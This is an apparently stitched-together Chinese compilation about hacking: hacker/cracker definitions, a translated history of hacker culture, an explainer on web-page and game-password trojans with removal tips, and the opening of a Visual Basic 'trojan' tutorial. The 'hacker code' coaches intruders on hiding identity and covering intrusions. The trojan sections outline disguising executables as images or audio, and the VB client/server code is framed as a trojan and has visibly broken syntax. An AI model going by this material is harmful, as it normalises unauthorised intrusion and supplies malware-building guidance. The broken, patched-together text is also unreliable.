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黑客是对英语hacker的翻译,hacker原意是指用斧头砍材的工人,最早被引进计算机圈则可追溯自1960年代。他们破解系统或者网络基本上是一项业余嗜好,通常是出于自己的兴趣,而非为了赚钱或工作需要。
加州柏克莱大学计算机教授Brian Harvey在考证此字时曾写到,当时在麻省理工学院中(MIT)的学生通常分成两派,一是tool,意指乖乖牌学生,成绩都拿甲等;另一则是所谓的hacker,也就是常逃课,上课爱睡觉,但晚上却又精力充沛喜欢搞课外活动的学生。 这跟计算机有什么关系?一开始并没有。不过当时hacker也有区分等级,就如同tool用成绩比高下一样。真正一流hacker并非整天不学无术,而是会热衷追求某种特殊嗜好,比如研究电话、铁道(模型或者真的)、科幻小说,无线电,或者是计算机。也因此后来才有所谓的computer hacker出现,意指计算机高手。
有些人很强调黑客和骇客的区别,根据开放原始码计划创始人Eric Raymond(他本人也是个著名的hacker)对此字的解释,hacker与cracker(一般译为骇客,有时也叫“黑帽黑客”。 )是分属两个不同世界的族群,基本差异在于,黑客是有建设性的,而骇客则专门搞破坏。 对一个黑客来说,学会入侵和破解是必要的,但最主要的还是编程,毕竟,使用工具是体现别人的思路,而程序是自己的想法.一句话--编程实现一切。对于一个骇客来说,他们只追求入侵的快感,不在乎技术,他们不会编程,不知道入侵的具体细节。还有一种情况是试图破解某系统或网络以提醒该系统所有者的系统安全漏洞,这群人往往被称做“白帽黑客”或“匿名客”(sneaker)或红客。许多这样的人是电脑安全公司的雇员,并在完全合法的情况下攻击某系统。
黑客守则
1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦。恶意破坏它人的软件将导致法律责任, 如果你只是使用电脑, 那仅为非法使用。 注意:千万不要破坏别人的文件或数据。
2. 不修改任何系统文件, 如果你是为了要进入系统而修改它, 请在达到目的后将它还原。
3. 不要轻易的将你要 Hack 的站点告诉你不信任的朋友。
4. 不要在 bbs/论坛上谈论关于你 Hack 的任何事情。
5. 在 Post 文章的时候不要使用真名。
6. 入侵期间, 不要随意离开你的电脑。
7. 不要入侵或攻击电信/政府机关的主机。
8. 不在电话中谈论关于你 Hack 的任何事情。
9. 将你的笔记放在安全的地方。
10.读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!
11.已侵入电脑中的帐号不得删除或修改。
12.不得修改系统文件, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而破坏原有的安全性。
13.不将你已破解的帐号分享与你的朋友。
14.不要侵入或破坏政府机关的主机。
但到了今天,在知识贫乏的记者写的媒报道中,黑客一词已被用于泛指黑客和骇客,因此也影响了大众对黑客的理解。 这个背景下,就出现了重新定义黑客内涵的努力,试图把黑客的活动范围限定为不为经济利益、而是出于好奇心做出技术探索和挑战。
黑客文化简史
本篇原作者为Eric S. Raymond esr@snark.thyrsus.com,他是一位大哥级的 Hacker,写了很多自由软件,知名著作有Jargon File等,近年来发表“大教堂与集市”论文为Opensource software努力,Netscape 愿意公开Navigator的原始码,与这篇文章有很大的关系。
序曲: Real Programmer
故事一开始,我要介绍的是所谓的Real Programmer。
他们从不自称是Real Programmer、Hacker或任何特殊的称号;`Real Programmer' 这个名词是在1980年代才出现,但早自1945年起,电脑科学便不断地吸引世界上头脑最顶尖、想像力最丰富的人投入其中。从Eckert Mauchly发明ENIAC后,便不断有狂热的programmer投入其中,他们以撰写软件与玩弄各种程式设计技巧为乐,逐渐形成具有自我意识的一套科技文化。当时这批Real Programmers主要来自工程界与物理界,他们戴著厚厚的眼镜, 穿聚酯纤维T恤与纯白袜子,用机器语言、汇编语言、FORTRAN及很多古老的 语言写程式。他们是Hacker时代的先驱者,默默贡献,却鲜为人知。
从二次大战结束后到1970早期,是打卡计算机与所谓"大铁块"的mainframes 流行的年代,由Real Programmer主宰电脑文化。Hacker传奇故事如有名的 Mel (收录在Jargon File中)、Murphy's Law的各种版本、mock- German`Blinke_nlight' 文章都是流传久远的老掉牙笑话了。
※译者:Jargon File亦是本文原作者所编写的,里面收录了很多Hacker用语、缩写意义、传奇故事等等。Jargon File有出版成一本书:The New Hacker's Dictionary,MIT PRESS出版。也有Online版本:
※译者:莫非定律是:当有两条路让你抉择,若其中一条会导致失败,你一定会选到它。 它有很多衍生说法: 比如一个程式在demo前测试几千几万次都正确无误,但demo 那一天偏偏就会出bug。
一些Real Programmer仍在世且十分活跃 (本文写在1996年)。超级电脑Cray 的设计者Seymour Cray, 据说亲手设计Cray全部的硬体与其操作系统,作业系统是他用机器码硬干出来的,没有出过任何bug或error。Real Programmer 真是超强!
举个比较不那么夸张的例子:Stan Kelly-Bootle,The Devil's DP Dictionary 一书的作者(McGraw-Hill, 1981年初版,ISBN 0-07-034022-6)与Hacker 传奇专家,当年在一台Manchester Mark I开发程式。 他现在是电脑杂志的专栏作家,写一些科学幽默小品,文笔生动有趣投今日hackers所好,所以很受欢迎。 其他人像David E. Lundstorm,写了许多关於Real Programmer的小故事,收录在A few Good Men From UNIVAC这本书,1987年出版,ISBN-0- 262-62075-8。
※译:看到这里,大家应该能了解,所谓Real Programmer指的就是用组合语 言或甚至机器码,把程式用打卡机punch出一片片纸卡片,由主机读卡机输入电脑的那种石器时代Programmer。
Real Programmer的时代步入尾声,取而代之的是逐渐盛行的Interactive computing,大学成立电算相关科系及电脑网络。它们催生了另一个持续的工程传统,并最终演化为今天的开放代码黑客文化。
早期的黑客
Hacker时代的滥觞始於1961年MIT出现第一台电脑DEC PDP-1。MIT的Tech Model Railroad Club(简称TMRC)的Power and Signals Group买了这台机器后,把它当成最时髦的科技玩具,各种程式工具与电脑术语开始出现,整个环境与文化一直发展下去至今日。 这在Steven Levy的书`Hackers' 前段有详细的记载(Anchor/Doubleday 公司,1984年出版,ISBN 0-385-19195-2)。
※译:Interactive computing并非指Windows、GUI、WYSIWYG等介面, 当时有terminal、有shell可以下指令就算是Interactive computing了。 最先使用Hacker这个字应该是MIT。1980年代早期学术界人工智慧的权威:MIT 的Artificial Intelligence Laboratory,其核心人物皆来自TMRC。从1969年起,正好是ARPANET建置的第一年,这群人在电脑科学界便不断有重大突破与贡献。
ARPANET是第一个横跨美国的高速网络。由美国国防部所出资兴建,一个实验性 质的数位通讯网络,逐渐成长成联系各大学、国防部承包商及研究机构的大网络。各地研究人员能以史无前例的速度与弹性交流资讯,超高效率的合作模式导致科技的突飞猛进。
ARPANET另一项好处是,资讯高速公路使得全世界的hackers能聚在一起,不再像以前孤立在各地形成一股股的短命文化,网络把他们汇流成一股强大力量。 开始有人感受到Hacker文化的存在,动手整理术语放上网络, 在网上发表讽刺文学与讨论Hacker所应有的道德规范。(Jargon File的第一版出现在1973年,就是一个好例子), Hacker文化在有接上ARPANET的各大学间快速发展,特别是(但不全是)在信息相关科系。
一开始,整个Hacker文化的发展以MIT的AI Lab为中心,但Stanford University 的Artificial Intelligence Laboratory(简称SAIL)与稍后的Carnegie-Mellon University(简称CMU)正快速崛起中。三个都是大型的资讯科学研究中心及人工智慧的权威,聚集著世界各地的精英,不论在技术上或精神层次上,对Hacker文化都有极高的贡献。
为能了解后来的故事,我们得先看看电脑本身的变化;随著科技的进步,主角MIT AI Lab也从红极一时到最后淡出舞台。
从MIT那台PDP-1开始,Hacker们主要程式开发平台都是Digital Equipment Corporation 的PDP迷你电脑序列。DEC率先发展出商业用途为主的interactive computing及time-sharing操作系统,当时许多的大学都是买DEC的机器, 因为它兼具弹性与速度,还很便宜(相对於较快的大型电脑mainframe)。 便宜的分时系统是Hacker文化能快速成长因素之一,在PDP流行的时代, ARPANET上是DEC机器的天下,其中最重要的便属PDP-10,PDP-10受到Hacker们的青睐达十五年;TOPS-10(DEC的操作系统)与MACRO-10(它的组译器),许多怀旧的术语及Hacker传奇中仍常出现这两个字。
MIT像大家一样用PDP-10,但他们不屑用DEC的操作系统。他们偏要自己写一个:传说中赫赫有名的ITS。
ITS全名是`Incompatible Timesharing System',取这个怪名果然符合MIT的搞怪作风——就是要与众不同,他们很臭屁但够本事自己去写一套操作系统。ITS始终不稳,设计古怪,bug也不少,但仍有许多独到的创见,似乎还是分时系统中开机时间最久的纪录保持者。
ITS本身是用汇编语言写的,其他部分由LISP写成。LISP在当时是一个威力强大与极具弹性的程式语言;事实上,二十五年后的今天,它的设计仍优於目前大多数的程式语言。LISP让ITS的Hacker得以尽情发挥想像力与搞怪能力。LISP是MIT AI Lab成功的最大功臣,现在它仍是Hacker们的最爱之一。
很多ITS的产物到现在仍活著;EMACS大概是最有名的一个,而ITS的稗官野史仍为今日的Hacker们所津津乐道,就如同你在Jargon File中所读到的一般。在MIT红得发紫之际,SAIL与CMU也没闲著。SAIL的中坚份子后来成为PC界或图形使用者介面研发的要角。CMU的Hacker则开发出第一个实用的大型专家系统与工业用机器人。
另一个Hacker重镇是XEROX PARC公司的Palo Alto Research Center。从1970初期到1980中期这十几年间,PARC不断出现惊人的突破与发明,不论质或量,软件或硬体方面。如现今的视窗滑鼠介面,雷射印表机与区域网络;其D系列的机器,催生了能与迷你电脑一较长短的强力个人电脑。不幸这群先知先觉者并不受到公司高层的赏识;PARC是家专门提供好点子帮别人赚钱的公司成为众所皆知的大笑话。即使如此,PARC这群人对Hacker文化仍有不可抹灭的贡献。1970年代与PDP-10文化迅速成长茁壮。Mailing list的出现使世界各地的人得以组成许多SIG(Special-interest group),不只在电脑方面,也有社会与娱乐方面的。DARPA对这些非`正当性'活动睁一只眼闭一只眼, 因为靠这些活动会吸引更多的聪明小伙子们投入电脑领域呢。
有名的非电脑技术相关的ARPANET mailing list首推科幻小说迷的,时至今日ARPANET变成Internet,愈来愈多的读者参与讨论。Mailing list逐渐成为一种公众讨论的媒介,导致许多商业化上网服务如CompuServe、Genie与Prodigy的成立。
Unix的兴起
此时在新泽西州的郊外,另一股神秘力量积极入侵Hacker社会,终於席卷整个PDP-10的传统。它诞生在1969年,也就是ARPANET成立的那一年,有个在ATT Bell Labs的年轻小夥子Ken Thompson发明了Unix。
Thomspon曾经参与Multics的开发,Multics是源自ITS的操作系统,用来实做当时一些较新的OS理论,如把操作系统较复杂的内部结构隐藏起来,提供一个介面,使的programmer能不用深入了解操作系统与硬体设备,也能快速开发程式。
※译:那时的programmer写个程式必须彻底了解操作系统内部,或硬体设备。比方说写有IO的程式,对於硬碟的转速,磁轨与磁头数量等等都要搞的一清二楚才行。
在发现继续开发Multics是做白工时,Bell Labs很快的退出了(后来有一家公司Honeywell出售Multics,赔的很惨)。
Ken Thompson很喜欢Multics上的作业环境,於是他在实验室里一台报废的DEC PDP-7上胡乱写了一个操作系统, 该系
统在设计上有从Multics抄来的也有他自己的构想。他将这个操作系统命名Unix,用来反讽Multics。
※译:其实是Ken Thompson写了一个游戏`Star Travel' 没地方跑,就去找一台的报废机器PDP-7来玩。他同事Brian Kernighan嘲笑Ken Thompson说:“你写的系统好逊哦,乾脆叫Unics算了。”(Unics发音与太监的英文eunuches一样),后来才改为Unix。
他的同事Dennis Ritchie,发明了一个新的程式语言C,於是他与Thompson用C把原来用汇编语言写的Unix重写一遍。C的设计原则就是好用,自由与弹性,C与Unix很快地在Bell Labs得到欢迎。1971年Thompson与Ritchie争取到一个办公室自动化系统的专案,Unix开始在Bell Labs中流行。不过Thompson与Ritchie的雄心壮志还不止於此。
那时的传统是,一个操作系统必须完全用汇编语言写成,始能让机器发挥最高的效能。Thompson与Ritchie,是头几位领悟硬体与编译器的技术,已经进步到作业系统可以完全用高阶语言如C来写,仍保有不错的效能。五年后,Unix已经成功地移植到数种机器上。
※译:Ken Thompson与Dennis Ritchie是唯一两位获得Turing Award(电脑界的诺贝尔奖)的工程师(其他都是学者)。
这当时是一件不可思议的事!它意味著,如果Unix可以在各种平台上跑的话,Unix 软件就能移植到各种机器上。再也用不著为特定的机器写软件了,能在Unix上跑最重要,重新发明轮子已经成为过去式了。
除了跨平台的优点外,Unix与C还有许多显著的优势。Unix与C的设计哲学是Keep It Simple, Stupid'。programmer可以轻易掌握整个C的逻辑结构(不像其他之前或以后的程式语言)而不用一天到晚翻手册写程式。而Unix提供许多有用的小工具程式,经过适当的组合(写成Shell script或Perl script),可以发挥强大的威力。
※注:The C Programming Language是所有程式语言书最薄的一本,只有两百多页哦。作者是Brian Kernighan 与Dennis Ritchie,所以这本C语言的圣经又称`KR'。
※注:`Keep It Simple, Stupid' 简称KISS,今日Unix已不follow这个原则,几乎所有Unix 都是要灌一堆有的没的utilities,唯一例外是MINIX。
C与Unix的应用范围之广,出乎原设计者之意料,很多领域的研究要用到电脑时,他们是最佳拍档。尽管缺乏一个正式支援的机构,它们仍在ATT内部中疯狂的散播。到了1980年,已蔓延到大学与研究机构,还有数以千计的hacker想把Unix装在家里的机器上。
当时跑Unix的主力机器是PDP-11、VAX系列的机器。不过由於UNIX的高移植性,它几乎可安装在所有的电脑机型上。一旦新型机器上的UNIX安装好,把软件的C原始码抓来重新编译就一切OK了,谁还要用汇编语言来开发软件?有一套专为UNIX设计的网络——UUCP:一种低速、不稳但成本很低廉的网络。两台UNIX机器用条电话线连起来,就可以使用互传电子邮件。UUCP是内建在UNIX系统中的,不用另外安装。於是UNIX站台连成了专属的一套网络,形成其Hacker文化。在1980第一个USENET站台成立之后,组成了一个特大号的分散式布告栏系统,吸引而来的人数很快地超过了ARPANET。
少数UNIX站台有连上ARPANET。PDP-10与UNIX的Hacker文化开始交流,不过一开始不怎么愉快就是了。PDP-10的Hacker们觉得UNIX的拥护者都是些什么也不懂的新手,比起他们那复杂华丽,令人爱不释手的LISP与ITS,C与UNIX简直原始的令人好笑。『一群穿兽皮拿石斧的野蛮人』他们咕哝著。
在这当时,又有另一股新潮流风行起来。第一部PC出现在1975年;苹果电脑在1977年成立,以飞快的速度成长。微电脑的潜力,立刻吸引了另一批年轻的 Hackers。他们最爱的程式语言是BASIC,由於它过於简陋,PDP-10 的死忠派与UNIX迷们根本不屑用它,更看不起使用它的人。
※译:这群Hacker中有一位大家一定认识,他的名字叫Bill Gates,最初就是他在8080上发展BASIC compiler的。
古老时代的终结
1980年同时有三个Hacker文化在发展,尽管彼此偶有接触与交流,但还是各玩各的。ARPANET/PDP-10文化,玩的是LISP、MACRO、TOPS-10与ITS。UNIX与C的拥护者用电话线把他们的PDP-11与VAX机器串起来玩。还有另一群散乱无秩序的微电脑迷,致力於将电脑科技平民化。
三者中ITS文化(也就是以MIT AI LAB为中心的Hacker文化)可说在此时达到全盛时期,但乌云逐渐笼罩这个实验室。ITS赖以维生的PDP-10逐渐过时,开始有人离开实验室去外面开公司,将人工智慧的科技商业化。MIT AI Lab 的高手挡不住新公司的高薪挖角而纷纷出走,SAIL与CMU也遭遇到同样的问题。
※译:这个情况在GNU宣言中有详细的描述,请参阅:(特别感谢由AKA的chuhaibo翻成中文)
致命一击终於来临,1983年DEC宣布:为了要集中在PDP-11与VAX生产线,将停止生产PDP-10;ITS没搞头了,因为它无法移植到其他机器上,或说根本没人办的到。而Berkeley Univeristy修改过的UNIX在新型的VAX跑得很顺,是ITS理想的取代品。有远见的人都看得出,在快速成长的微电脑科技下,Unix一统江湖是迟早的事。
差不多在此时Steven Levy完成``Hackers'' 这本书,主要的资料来源是Richard M. Stallman(RMS)的故事,他是MIT AI Lab领袖人物,坚决反对实验室的研究成果商业化。
Stallman接著创办了Free Software Foundation,全力投入写出高品质的自由软件。Levy以哀悼的笔调描述他是the last true hacker',还好事实证明Levy完全错了。
※译:Richard M. Stallman的相关事迹请参考:
Stallman的宏大计划可说是80年代早期Hacker文化的缩影——在1982年他开始建构一个与UNIX 相容但全新的操作系统,以C来写并完全免费。整个ITS的精神与传统,经由RMS的努力,被整合在一个新的,UNIX与VAX机器上的Hacker文化。微电脑与区域网络的科技,开始对Hacker文化产生影响。Motorola 68000 CPU 加Ethernet是个有力的组合,也有几家公司相继成立生产第一代的工作站。1982年,一群Berkeley出来的UNIX Hacker成立了Sun Microsystems,他们的算盘打的是:把UNIX架在以68000为CPU的机器,物美价廉又符合多数应用程式的要求。他们的高瞻远嘱为整个工业界树立了新的里程碑。虽然对个人而言,工作站仍太昂贵,不过在公司与学校眼中,工作站真是比迷你电脑便宜太多了。在这些机构里,工作站(几乎是一人一台)很快地取代了老旧庞大的VAX等timesharing机器。
※译:Sun一开始生产的工作站CPU是用Motorola 68000系列,到1989才推出自行研发的以SPARC系列为CPU的SPARCstation。
私有Unix时代
1984年ATT解散了,UNIX正式成为一个商品。当时的Hacker文化分成两大类,一类集中在Internet与USENET上(主要是跑UNIX的迷你电脑或工作站连上网络),以及另一类PC迷,他们绝大多数没有连上Internet。
※译:台湾在1992年左右连上Internet前,玩家们主要以电话拨接BBS交换资讯,但是有区域性的限制,发展性也大不如USENET。Sun与其他厂商制造的工作站为Hacker们开启了另一个美丽新世界。工作站诉求的是高效能的绘图与网络,1980年代Hacker们致力为工作站撰写软件,不断挑战及突破以求将这些功能发挥到百分之一百零一。Berkeley发展出一套内建支援ARPANET protocols的UNIX,让UNIX能轻松连上网络,Internet也成长的更加迅速。
除了Berkeley让UNIX网络功能大幅提升外,尝试为工作站开发一套图形界面也不少。最有名的要算MIT开发的Xwindow了。Xwindow成功的关键在完全公开原始码,展现出Hacker一贯作风,并散播到Internet上。X 成功的干掉其他商业化的图形界面的例子,对数年后UNIX的发展有著深远的启发与影响。少数ITS死忠派仍在顽抗著,到1990年最后一台ITS也永远关机长眠了;那些死忠派在穷途末路下只有悻悻地投向UNIX的怀抱。
UNIX们此时也分裂为BerkeleyUNIX与ATT两大阵营,也许你看过一些当时的海报,上面画著一台钛翼战机全速飞离一个爆炸中、上面印著ATT的商标的死星。Berkeley UNIX的拥护者自喻为冷酷无情的公司帝国的反抗军。就销售量来说,ATTUNIX始终赶不上BSD/Sun,但它赢了标准制订的战争。到1990年,ATT与BSD版本已难明显区分,因为彼此都有采用对方的新发明。随著90年代的来到,工作站的地位逐渐受到新型廉价的高档PC的威胁,他们主要是用Intel80386系列CPU。第一次Hacker能买一台威力等同於十年前的迷你电脑的机器,上面跑著一个完整的UNIX,且能轻易的连上网络。沉浸在MSDOS世界的井底蛙对这些巨变仍一无所知,从早期只有少数人对微电脑有兴趣,到此时玩DOS与Mac的人数已超过所谓的"网络民族"的文化,但他们始终没成什么气候或搞出什么飞机,虽然聊有佳作光芒乍现,却没有稳定发展出统一的文化传统,术语字典,传奇故事与神话般的历史。它们没有真正的网络,只能聚在小型的BBS 站或一些失败的网络如FIDONET。提供上网服务的公司如CompuServe或Genie生意日益兴隆,事实显示non-UNIX的操作系统因为并没有内附如compiler等程式发展工具,很少有source 在网络上流传,也因此无法形成合作开发软件的风气。Hacker文化的主力,是散布在Internet各地,几乎可说是玩UNIX的文化。他们玩电脑才不在乎什么售后服务之类,他们要的是更好的工具、更多的上网时间、还有一台便宜32-bitPC。
机器有了,可以上网了,但软件去哪找?商业的UNIX贵的要命,一套要好几千大洋($)。90年代早期,开始有公司将ATT与BSDUNIX移植到PC上出售。成功与否不论,价格并没有降下来,更要紧的是没有附原始码,你根本不能也不准修改它,以符合自己的需要或拿去分享给别人。传统的商业软件并没有给Hacker们真正想要的。
即使是FreeSoftwareFoundation(FSF)也没有写出Hacker想要的操作系统,RMS承诺的GNU操作系统——HURD 说了好久了,到1996年都没看到影子(虽然1990年开始,FSF的软件已经可以在所有的UNIX平台执行)。
早期的免费Unix
在这空窗期中,1992年一位芬兰HelsinkiUniversity的学生--LinusTorvalds开始在一台386PC上发展一个自由软件的UNIX kernel,使用FSF的程式开发工具。
他很快的写好简单的版本,丢到网络上分享给大家,吸引了非常多的Hacker来帮忙一起发展Linux-一个功能完整的UNIX,完全免费且附上全部的原始码。Linux最大的特色,不是功能上的先进而是全新的软件开发模式。直到Linux的成功前,人人都认为像操作系统这么复杂的软件,非得要靠一个开发团队密切合作,互相协调与分工才有可能写的出来。商业软件公司与80年代的FreeSoftwareFoundation所采用都是这种发展模式。
Linux则迥异于前者。一开始它就是一大群Hacker在网络上一起涂涂抹抹出来的。没有严格品质控制与高层决策发展方针,靠的是每周发表新版供大家下载测试,测试者再把bug与patch贴到网络上改进下一版。一种全新的物竞天择、去芜存菁的快速发展模式。令大伙傻眼的是,东修西改出来的Linux,跑的顺极了。
1993年底,Linux发展趋於成熟稳定,能与商业的UNIX一分高下,渐渐有商业应用软件移植到Linux上。不过小型UNIX厂商也因为Linux的出现而关门大吉——因为再没有人要买他们的东西。幸存者都是靠提供BSD为基础的UNIX 的完整原始码,有Hacker加入发展才能继续生存。
Hacker文化,一次次被人预测即将毁灭,却在商业软件充斥的世界中,披荆斩棘,筚路蓝缕,开创出另一番自己的天地。
网络大爆炸时代
Linux能快速成长的来自令一个事实:Internet大受欢迎,90年代早期ISP如雨后春笋般的冒出来,World-Wide-Web的出现,使得Internet成长的速度,快到有令人窒息的感觉。
BSD专案在1994正式宣布结束,Hacker们用的主要是免费的UNIX(Linux与一些4.4BSD的衍生版本)。而LinuxCD-ROM销路非常好(好到像卖煎饼般)。近几年来Hacker们主要活跃在Linux与Internet发展上。World-Wide-Web让Internet成为世界最大的传输媒体,很多80年代与90年代早期的Hacker们现在都在经营ISP。
Internet的盛行,Hacker文化受到重视并发挥其政治影响力。94、95年美国政府打算把一些较安全、难解的编码学加以监控,不容许外流与使用。这个称为Clipper proposal的专案引起了Hacker们的群起反对与强烈抗议而半途夭折。96年Hacker又发起了另一项抗议运动对付那取名不当的"Communications DecencyAct",誓言维护Internet上的言论自由。
电脑与Internet在21世纪将是大家不可或缺的生活用品,现代孩子在使用Internet科技迟早会接触到Hacker文化。它的故事传奇与哲学,将吸引更多人投入。未来对Hacker们是充满光明的。
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NE365
今天在一个网站上看到的排名,对于这份排名,安全界没有一个准确的标准。
所以说不是完全准确的排名。
这些网站里的技术资料,软件比较多。
首先从基础开始,至少会常见的电脑故障排除,你可能会问了!学这干嘛??
有用的,这是基本网管知识!是学习黑客知识的前期,这样学起黑客知识会明白其中的原理,为什么能控制对方电脑,为什么能扫描出他的密码!这样学起来会更简单的!这是黑客知识的基础!
接着常看一些黑客技术的书籍,教程(网上有下载的)!
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一、经常看到有玩家说,在输入自己的帐号的时候通故意输错帐号和码。其实这种木马是最早期的木马程序。现在已经很少有编木马程序的程序员,还按照这种监听键盘记录的思路去编写木马程序。现在的木马程序已经发展到通过内存提取数据来获得用户的帐号和密码。大家都知道,不管是传奇还是任何一款程序。它都是有他所特有的数据的(包括玩家的帐号、密码,等级装备资料等等)。这些数据都是会通过本机与游戏服务器取得了验证以后,玩家的角色资料才会出现在玩家的面前。而这些数据在运行的时候都是存放在计算机的内存里面的。木马作者只需要在自己的程序里面加入条件语句就可以取得玩家真实的游戏帐号、密码、角色等级~~~~~,以我自己的计算机知识,这种语句的大概意思应该是:当游戏进程进入到让玩家选择角色的时候再从内存中提取最后一次的帐号、密码、角色等级等资料。也就是说,其实玩家之前所做的故意输错帐号或密码完全是浪费自己的表情、浪费自己的时间。
下边先来说一下木马是如何通过网页进入你的电脑的,相信大家都知道,现在有很多图片木马,EML和EXE木马,其中的图片木马其实很简单,就是把木马exe文件的文件头换成bmp文件的文件头,然后欺骗IE浏览器自动打开该文件,然后利用网页里的一段JAVASCRIPT小程序调用DEBUG把临时文件里的bmp文件还原成木马exe文件并拷贝到启动项里,接下来的事情很简单,你下次启动电脑的时候就是你噩梦的开始了,EML木马更是传播方便,把木马文件伪装成audio/x-wav声音文件,这样你接收到这封邮件的时候只要浏览一下,不需要你点任何连接,windows就会为你代劳自动播放这个他认为是wav的音乐文件,木马就这样轻松的进入你的电脑,这种木马还可以frame到网页里,只要打开网页,木马就会自动运行,另外还有一种方法,就是把木马exe编译到.JS文件里,然后在网页里调用,同样也可以无声无息的入侵你的电脑,这只是些简单的办法,还有远程控制和共享等等漏洞可以钻,知道这些,相信你已经对网页木马已经有了大概了解,
简单防治的方法:
开始-设置-控制面版-添加删除程序-windows安装程序-把附件里的windows scripting host去掉,然后打开Internet Explorer浏览器,点工具-Internet选项-安全-自定义级别,把里面的脚本的3个选项全部禁用,然后把“在中加载程序和文件”禁用,当然这只是简单的防治方法,不过可能影响一些网页的动态java效果,不过为了安全就牺牲一点啦,这样还可以预防一些恶意的网页炸弹和病毒,如果条件允许的话可以加装防火墙,再到微软的网站打些补丁,反正我所知道的网吧用的都是原始安装的windows,很不安全哦,还有尽量少在一些小网站下载一些程序,尤其是一些号称黑客工具的软件,小心盗不着别人自己先被盗了,当然,如果你执意要用的话,号被盗了也应该付出这个代价吧。还有,不要以为装了还原精灵就很安全,据我所知,一般网吧的还原精灵都只还原c:盘即系统区,所以只要木马直接感染你安装在别的盘里的游戏执行文件,你照样逃不掉的。
下边介绍一下木马和如何简单的检查一下是否中了木马。
木马程序一般分为服务器端程序和客户端程序两个部分,当服务器端程序安装在某台连接到网络的电脑后,就能使用客户端程序对其进行登陆。这和PcAnywhere以及NetMeeting的远程控制功能相似。但不同的是,木马是非法取得对对方电脑的控制权,一旦登陆成功,就可以取得管理员级的权利,对方电脑上的资料、密码等是一览无余。不过这种木马一般的“伪黑客”很少使用,因为一不小心就会引火上身,被对方反查过来就会偷鸡不成蚀把米了,一般他们都会采用只有服务器端的小木马,这类木马通常会把截取的密码发到一个免费邮箱里,不需要人为操作,有空去收趟邮件就可以了,这种木马遍布互连网的各个角落,的确防不胜防,由于木马程序众多,加之不断有新版本、新品种产生,使得软件无法完全应付,所以手动检查清除是十分必要的。
木马会想尽一切办法隐藏自己,别指望在任务管理器里看到他们的踪影,有些木马更是会和一些系统进程寄生在一起的,如著名的广外幽灵就是寄生在MsgSrv32.exe里;当然它也会悄无声息地启动,木马会在每次用户启动windows时自动装载服务端,Windows系统启动时自动加载应用程序的方法木马都会用上,如启动组、win.ini、system.ini、注册表等等都是木马藏身之地;下边简单说一下如何检查,点开始-运行,输入:
msconfig回车 就会打开系统配置实用程序,先点system.ini,看看shell=文件名,正确的文件名应该是“explorer.exe”,如果explorer.exe后边还跟有别的程序的话,就要好好检查这个程序了,然后点win.ini,“run=”和“load=”是可能加载“木马”程序的途径,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了,当然你也得看清楚,因为如“AOL木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件;最后点“启动”,检查里面的启动项是不是有不熟悉的,如果你实在不清楚的话可以把他们全部取消,然后重新运行msconfig,看一下有没有取消的启动项重新被选中的,一般木马都会存在于内存中,(就是线程插入,然后隐藏进程的木马,DLL无进程木马就不会驻留在内存里面,我们在下一次中会讲到)所以发现你取消他的启动项就会自动添加上的,然后你就可以逐步添上你的输入法,音量控制,防火墙等软件的启动项了;还有一类木马,他是关联注册表的文件打开方式的,一般木马经常关联.exe,点开始-运行,输入:regedit回车,打开注册表编辑器,点第一条,也就是HKEY_CLASSES_ROOT,找到exefile,看一下\\exefile\\shell\\open\\command里面的默认键值是不是"%1" %* ,如果是一个程序路径的话就一定是中木马了,另外配合两种以上的杀毒软件也是必要的,另外在windows下木马一般很难清除,最后重新启动到dos环境下再进行查杀。
防木马程序、防火墙、及杀毒软件介绍:
1、木马克星: 专业的个人版木马查杀工具;近100%查杀各种类型木马!玩家推荐反木马品牌~!
2、绿鹰PC万能精灵2.91 :专业的个人版木马查杀工具;近100%查杀各种类型木马!玩家推荐反木马品牌~!
3、Symantec AntiVirus:这个我就不用再介绍了吧,全球最大的杀毒软件!强力推荐8.1企业版。
4、天网防火墙2.51个人版:天网防火墙个人版在网络效率与系统安全上完全采用天网防火墙的设计思想,采用最底层的网络驱动隔绝,其作用层在网络硬件与Windows网络驱动之间,在黑客攻击数据接触Windows网络驱动之前将所有的攻击数据拦截,保护脆弱的Windows网络驱动不会崩溃
看看这个,是用VB编的木马程序
1.“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机IP地址。")
Exit Sub
Else
If Len(Text1.Text) 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If ’如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
